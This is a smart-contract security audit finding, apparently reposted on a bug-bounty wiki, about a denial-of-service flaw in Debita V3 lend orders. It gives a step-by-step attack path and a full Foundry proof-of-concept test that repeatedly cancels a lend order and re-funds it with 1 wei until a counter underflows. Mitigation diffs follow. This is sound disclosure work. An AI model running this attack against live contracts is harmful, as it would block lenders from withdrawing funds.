Attacker will prevent lenders from canceling lend orders and block non-perpetual lend orders matching
The addFunds function in DLOImplementation lacks a check that the lend order is active, allowing an attacker to add funds to a cancelled order and then cancel it again, repeatedly decrementing the factory's activeOrdersCount until it reaches zero. This causes deleteOrder to revert with an arithmetic underflow, blocking all lenders from cancelling their orders and preventing non-perpetual lend orders from being fully matched.
0x37 Follow with 0xPhantom2, 0xloscar01 and 37 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/246
Found by
0x37, 0xPhantom2, 0xloscar01, 0xlrivo, Ace-30, Audinarey, BengalCatBalu, ExtraCaterpillar, Feder, Honour, KlosMitSoss, Moksha, Vasquez, ahmedovv, almantare, aman, araj, arman, bbl4de, befree3x, dany.armstrong90, dimah7, dimulski, eeshenggoh, farismaulana, jjk, jsmi, liquidbuddha, momentum, nikhil840096, onthehunt, pepocpeter, prosper, s0x0mtee, stakog, t.aksoy, tjonair, tourist, utsav, ydlee
Summary
The missing active order check in DLOImplementation::addFunds will allow an attacker to halt the cancellation of lend orders for every lender and prevent non-perpetual lend orders from being fully matched as the attacker will execute the following attack path:
- Call
DLOFactory::createLendOrderto create a lend order - Call
DLOImplementation::cancelOffer.DLOFactory::deleteOrderis called insidecancelOfferand decreases theDLOFactory::activeOrdersCountby1. - Call
DLOImplementation::addFundsto add funds to the lend order and pass therequirestatement inDLOImplementation::cancelOffer - Repeat steps 2 and 3 until
DLOFactory::activeOrdersCountis0
When activeOrdersCount is 0, further calls to the DLOFactory::deleteOrder function will revert due to arithmetic underflow. Consequently, functions calling deleteOrder will revert as well:
cancelOffer -> deleteOrder
DebitaV3Aggregator::matchOffersV3 -> acceptLendingOffer -> (if (lendInformation.availableAmount == 0 && !m_lendInformation.perpetual)) deleteOrder
Root Cause
There is a missing check in DLOImplementation::addFunds function that allows adding funds to an inactive offer.
function addFunds(uint amount) public nonReentrant {
require(
msg.sender == lendInformation.owner ||
IAggregator(aggregatorContract).isSenderALoan(msg.sender),
"Only owner or loan"
);
SafeERC20.safeTransferFrom(
IERC20(lendInformation.principle),
msg.sender,
address(this),
amount
);
lendInformation.availableAmount += amount;
IDLOFactory(factoryContract).emitUpdate(address(this));
}
This allows an attacker to add funds to a lend order that has been canceled and pass the require statement in DLOImplementation::cancelOffer. The attacker can then call cancelOffer to decrease the DLOFactory::activeOrdersCount value by 1.
function cancelOffer() public onlyOwner nonReentrant {
uint availableAmount = lendInformation.availableAmount;
lendInformation.perpetual = false;
lendInformation.availableAmount = 0;
@> require(availableAmount > 0, "No funds to cancel");
isActive = false;
SafeERC20.safeTransfer(
IERC20(lendInformation.principle),
msg.sender,
availableAmount
);
IDLOFactory(factoryContract).emitDelete(address(this));
@> IDLOFactory(factoryContract).deleteOrder(address(this));
// emit canceled event on factory
}
function deleteOrder(address _lendOrder) external onlyLendOrder {
uint index = LendOrderIndex[_lendOrder];
LendOrderIndex[_lendOrder] = 0;
// switch index of the last borrow order to the deleted borrow order
allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;
// take out last borrow order
allActiveLendOrders[activeOrdersCount - 1] = address(0);
@> activeOrdersCount--;
}
Internal pre-conditions
For Denial of Service in DLOImplementation::cancelOffer:
- There needs to be at least an active lend order created by a legitimate user.
For DebitaV3Aggregator::matchOffersV3 to revert due to the attack path execution:
- A legitimate user must create at least an active non-perpetual lend order with
_startedLendingAmountgreater than0. - A borrow order that matches the non-perpetual lend order must exist.
DebitaV3Aggregatormust not be paused.- The borrow order must borrow the full available amount of the matched lend order. This means that when the lend order is matched by calling
matchOffersV3,DLOImplementation::acceptLendingOfferis called byDebitaV3Aggregatorwithamountequal tolendInformation.availableAmount.
External pre-conditions
No response
Attack Path
Actors:
- Attacker: Exploits the
addFundslogic to reduceDLOFactory::activeOrdersCountto0. - Lender: creates a lend order
- Borrower: creates a borrow order
- Aggregator User: calls
DebitaV3Aggregator::matchOffersV3
Initial State:
Assume there is a non-perpetual lend order, created by the Lender and a borrow order created by the Borrower, both are active and can be matched. The borrow order will borrow the total of the lend order availableAmount. Under this condition, DLOFactory::activeOrdersCount = 1.
Attack Path:
- The attacker calls
DLOFactory::createLendOrderto create a lend order. This function will increase theDLOFactory::activeOrdersCountby 1.
DLOFactory::activeOrdersCount = 2
- The attacker calls
DLOImplementation::cancelOfferto cancel his lend order. This function callsDLOFactory::deleteOrderwhich will decrease theDLOFactory::activeOrdersCountby 1.
DLOFactory::activeOrdersCount = 1
-
The attacker calls
DLOImplementation::addFundswith1as theamountparameter. This function will add1to the lend order'savailableAmountand allow the attacker to pass therequirestatement inDLOImplementation::cancelOffer. -
The attacker calls
DLOImplementation::cancelOfferto decrease theactiveOrdersCountby 1.
DLOFactory::activeOrdersCount = 0
- The Aggregator User calls
DebitaV3Aggregator::matchOffersV3to match the non-perpetual lend order with the borrow order. This function callsDLOImplementation::acceptLendingOfferwithamountequal tolendInformation.availableAmount. As the lend orderavailableAmountis now0, theifstatement inDLOImplementation::acceptLendingOfferis true
lendInformation.availableAmount == 0 && !m_lendInformation.perpetual
and DLOFactory::deleteOrder is called inside acceptLendingOffer. deleteOrder will try to decrease the DLOFactory::activeOrdersCount value by 1, but as its value is 0, the function will revert due to arithmetic underflow.
- The Lender calls
DLOImplementation::cancelOfferto cancel his lend order.DLOFactory::deleteOrderis called insidecancelOfferand will revert due to theactiveOrdersCountbeing0.
Impact
- Lenders cannot cancel their lend orders to withdraw their funds.
- Non-perpetual lend orders cannot be 100% accepted.
- A lender who wishes to cancel their lend order will be forced to create a new lend order with the sole purpose of increasing the
DLOFactory::activeOrdersCountvalue and allowing the lender to cancel their initial lend order. This requires that the attacker cease the attack.
PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DynamicData} from "../../interfaces/getDynamicData.sol";
contract DOSTest is Test {
DBOFactory public DBOFactoryContract;
DLOFactory public DLOFactoryContract;
Ownerships public ownershipsContract;
DebitaIncentives public incentivesContract;
DebitaV3Aggregator public DebitaV3AggregatorContract;
auctionFactoryDebita public auctionFactoryDebitaContract;
DebitaV3Loan public DebitaV3LoanContract;
ERC20Mock public AEROContract;
ERC20Mock public USDCContract;
ERC20Mock public wETHContract;
DLOImplementation public LendOrder;
DBOImplementation public BorrowOrder;
DynamicData public allDynamicData;
address USDC;
address wETH;
address borrower = address(0x02);
address lender1 = address(0x03);
address lender2 = address(0x04);
address lender3 = address(0x05);
address feeAddress = address(this);
function setUp() public {
allDynamicData = new DynamicData();
ownershipsContract = new Ownerships();
incentivesContract = new DebitaIncentives();
DBOImplementation borrowOrderImplementation = new DBOImplementation();
DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
DLOImplementation proxyImplementation = new DLOImplementation();
DLOFactoryContract = new DLOFactory(address(proxyImplementation));
auctionFactoryDebitaContract = new auctionFactoryDebita();
USDCContract = new ERC20Mock();
wETHContract = new ERC20Mock();
DebitaV3Loan loanInstance = new DebitaV3Loan();
DebitaV3AggregatorContract = new DebitaV3Aggregator(
address(DLOFactoryContract),
address(DBOFactoryContract),
address(incentivesContract),
address(ownershipsContract),
address(auctionFactoryDebitaContract),
address(loanInstance)
);
USDC = address(USDCContract);
wETH = address(wETHContract);
wETHContract.mint(address(this), 15 ether);
wETHContract.mint(lender1, 5 ether);
wETHContract.mint(lender2, 5 ether);
wETHContract.mint(lender3, 5 ether);
ownershipsContract.setDebitaContract(
address(DebitaV3AggregatorContract)
);
incentivesContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
DLOFactoryContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
DBOFactoryContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
auctionFactoryDebitaContract.setAggregator(
address(DebitaV3AggregatorContract)
);
}
// Attack path:
// 1. multiple lend offers are created
// 2. borrow offer is created
// 3. lender1 executes cancelOffer -> addFunds multiple times until DLOFactory::activeOrdersCount == 0
// 4. user calls matchOffersV3 and another lender calls cancelOffer. Both should fail
function testDOSAttack() public {
bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
bool[] memory oraclesActivatedLenders = allDynamicData
.getDynamicBoolArray(1);
address[] memory acceptedPrinciples = allDynamicData
.getDynamicAddressArray(1);
address[] memory acceptedCollaterals = allDynamicData
.getDynamicAddressArray(1);
address[] memory oraclesCollateral = allDynamicData
.getDynamicAddressArray(1);
address[] memory oraclesPrinciples = allDynamicData
.getDynamicAddressArray(1);
ratioLenders[0] = 1e18;
ratio[0] = 1e18;
acceptedPrinciples[0] = wETH;
acceptedCollaterals[0] = USDC;
oraclesActivated[0] = false;
// Create multiple lend offers
vm.startPrank(lender1);
wETHContract.approve(address(DLOFactoryContract), 5 ether);
address lendOffer1 = DLOFactoryContract.createLendOrder({
_perpetual: false,
_oraclesActivated: oraclesActivatedLenders,
_lonelyLender: false,
_LTVs: ltvsLenders,
_apr: 1000,
_maxDuration: 8640000,
_minDuration: 86400,
_acceptedCollaterals: acceptedCollaterals,
_principle: wETH,
_oracles_Collateral: oraclesCollateral,
_ratio: ratioLenders,
_oracleID_Principle: address(0x0),
_startedLendingAmount: 5e18
});
vm.startPrank(lender2);
wETHContract.approve(address(DLOFactoryContract), 5 ether);
address lendOffer2 = DLOFactoryContract.createLendOrder({
_perpetual: false,
_oraclesActivated: oraclesActivatedLenders,
_lonelyLender: false,
_LTVs: ltvsLenders,
_apr: 1000,
_maxDuration: 8640000,
_minDuration: 86400,
_acceptedCollaterals: acceptedCollaterals,
_principle: wETH,
_oracles_Collateral: oraclesCollateral,
_ratio: ratioLenders,
_oracleID_Principle: address(0x0),
_startedLendingAmount: 5e18
});
vm.startPrank(lender3);
wETHContract.approve(address(DLOFactoryContract), 5 ether);
address lendOffer3 = DLOFactoryContract.createLendOrder({
_perpetual: false,
_oraclesActivated: oraclesActivatedLenders,
_lonelyLender: false,
_LTVs: ltvsLenders,
_apr: 1000,
_maxDuration: 8640000,
_minDuration: 86400,
_acceptedCollaterals: acceptedCollaterals,
_principle: wETH,
_oracles_Collateral: oraclesCollateral,
_ratio: ratioLenders,
_oracleID_Principle: address(0x0),
_startedLendingAmount: 5e18
});
vm.stopPrank();
// Create a borrow offer
USDCContract.mint(borrower, 10e18);
vm.startPrank(borrower);
USDCContract.approve(address(DBOFactoryContract), 100e18);
address borrowOrderAddress = DBOFactoryContract.createBorrowOrder({
_oraclesActivated: oraclesActivated,
_LTVs: ltvs,
_maxInterestRate: 1400,
_duration: 864000,
_acceptedPrinciples: acceptedPrinciples,
_collateral: USDC,
_isNFT: false,
_receiptID: 0,
_oracleIDS_Principles: oraclesPrinciples,
_ratio: ratio,
_oracleID_Collateral: address(0x0),
_collateralAmount: 10e18
});
vm.stopPrank();
// Lender1 begins the attack
// check DLOFactory::activeOrdersCount == 3
assertEq(DLOFactoryContract.activeOrdersCount(), 3);
// lender1 cancels the offer -> DLOFactory::activeOrdersCount == 2
vm.startPrank(lender1);
DLOImplementation(lendOffer1).cancelOffer();
// addFunds (1 wei)
wETHContract.approve(lendOffer1, 3);
DLOImplementation(lendOffer1).addFunds(1);
// cancelOffer again -> DLOFactory::activeOrdersCount == 1
DLOImplementation(lendOffer1).cancelOffer();
// addFunds (1 wei)
DLOImplementation(lendOffer1).addFunds(1);
// lender1 cancels the offer -> DLOFactory::activeOrdersCount == 0
DLOImplementation(lendOffer1).cancelOffer();
vm.stopPrank();
// check DLOFactory::activeOrdersCount == 0
assertEq(DLOFactoryContract.activeOrdersCount(), 0);
// now try to call mathOffersV3 -> should fail
address[] memory lendOrders = new address[](1);
uint[] memory lendAmounts = allDynamicData.getDynamicUintArray(1);
uint[] memory percentagesOfRatio = allDynamicData.getDynamicUintArray(
1
);
uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
.getDynamicUintArray(1);
uint[] memory indexForCollateral_LendOrder = allDynamicData
.getDynamicUintArray(1);
uint[] memory indexPrinciple_LendOrder = allDynamicData
.getDynamicUintArray(1);
lendOrders[0] = lendOffer3;
percentagesOfRatio[0] = 10000;
lendAmounts[0] = 5e18;
vm.expectRevert(stdError.arithmeticError);
address deployedLoan = DebitaV3AggregatorContract.matchOffersV3({
lendOrders: lendOrders,
lendAmountPerOrder: lendAmounts,
porcentageOfRatioPerLendOrder: percentagesOfRatio,
borrowOrder: borrowOrderAddress,
principles: acceptedPrinciples,
indexForPrinciple_BorrowOrder: indexForPrinciple_BorrowOrder,
indexForCollateral_LendOrder: indexForCollateral_LendOrder,
indexPrinciple_LendOrder: indexPrinciple_LendOrder
});
// lender2 tries to cancel his lend order -> should fail
vm.startPrank(lender2);
vm.expectRevert(stdError.arithmeticError);
DLOImplementation(lendOffer2).cancelOffer();
}
}
Steps to reproduce:
-
Create a file
DOSTest.t.solinsideDebita-V3-Contracts/test/local/Loan/and paste the PoC code. -
Run the test in the terminal with the following command:
forge test --mt testDOSAttack
Mitigation
Add a check in DLOImplementation::cancelOffer to prevent cancelling an inactive lend order.
@@ -139,12 +139,13 @@ contract DLOImplementation is ReentrancyGuard, Initializable {
}
// function to cancel the lending offer
// only callable once by the owner
// in case of perpetual, the funds won't come back here and lender will need to claim it from the lend orders
function cancelOffer() public onlyOwner nonReentrant {
+ require(isActive, "Offer is not active");
uint availableAmount = lendInformation.availableAmount;
lendInformation.perpetual = false;
lendInformation.availableAmount = 0;
require(availableAmount > 0, "No funds to cancel");
isActive = false;
Add a check in DLOImplementation::addFunds to prevent adding funds to an inactive offer, this will prevent lenders from getting their funds stuck in an inactive order.
@@ -162,12 +163,13 @@ contract DLOImplementation is ReentrancyGuard, Initializable {
function addFunds(uint amount) public nonReentrant {
require(
msg.sender == lendInformation.owner ||
IAggregator(aggregatorContract).isSenderALoan(msg.sender),
"Only owner or loan"
);
+ require(isActive, "Offer is not active");
SafeERC20.safeTransferFrom(
IERC20(lendInformation.principle),
msg.sender,
address(this),
amount
);
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/206c6ede06ab1d84943bd0b8431d6c0a9c9faaa7
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the addFunds function does not check that the lend order is still active, so a cancelled order can be reactivated with funds and cancelled again, repeatedly decrementing the factory's activeOrdersCount.
Impact
Lenders cannot cancel their lend orders to withdraw funds, and non-perpetual lend orders cannot be fully matched, causing a denial of service until the attacker stops.
What the attacker needed
At least one active lend order; attacker has a small amount of the lend token; for matching DoS: a non-perpetual lend order and a matching…
The fix
The protocol team fixed this issue by adding an isActive check in both cancelOffer and addFunds.
How it was found
- Create a lend order via DLOFactory::createLendOrder, which increases activeOrdersCount.
- Cancel the lend order via DLOImplementation::cancelOffer, which calls deleteOrder and decreases activeOrdersCount.
- Add a small amount of funds to the cancelled order via DLOImplementation::addFunds, which succeeds because there is no active check.
- Cancel the order again via cancelOffer, decreasing activeOrdersCount further.
- Repeat steps 2-4 until activeOrdersCount reaches zero.
- Attempt to match a non-perpetual lend order or cancel another lend order; both revert due to arithmetic underflow in deleteOrder.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract lets people lend and borrow tokens. Each lend order is tracked by a counter that goes up when an order is created and down when it is cancelled. The bug lets an attacker cancel an order, add a tiny amount back to it, and cancel it again, driving the counter to zero. Once the counter is zero, any attempt to cancel another order or to match a loan fails, so lenders cannot get their funds back.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.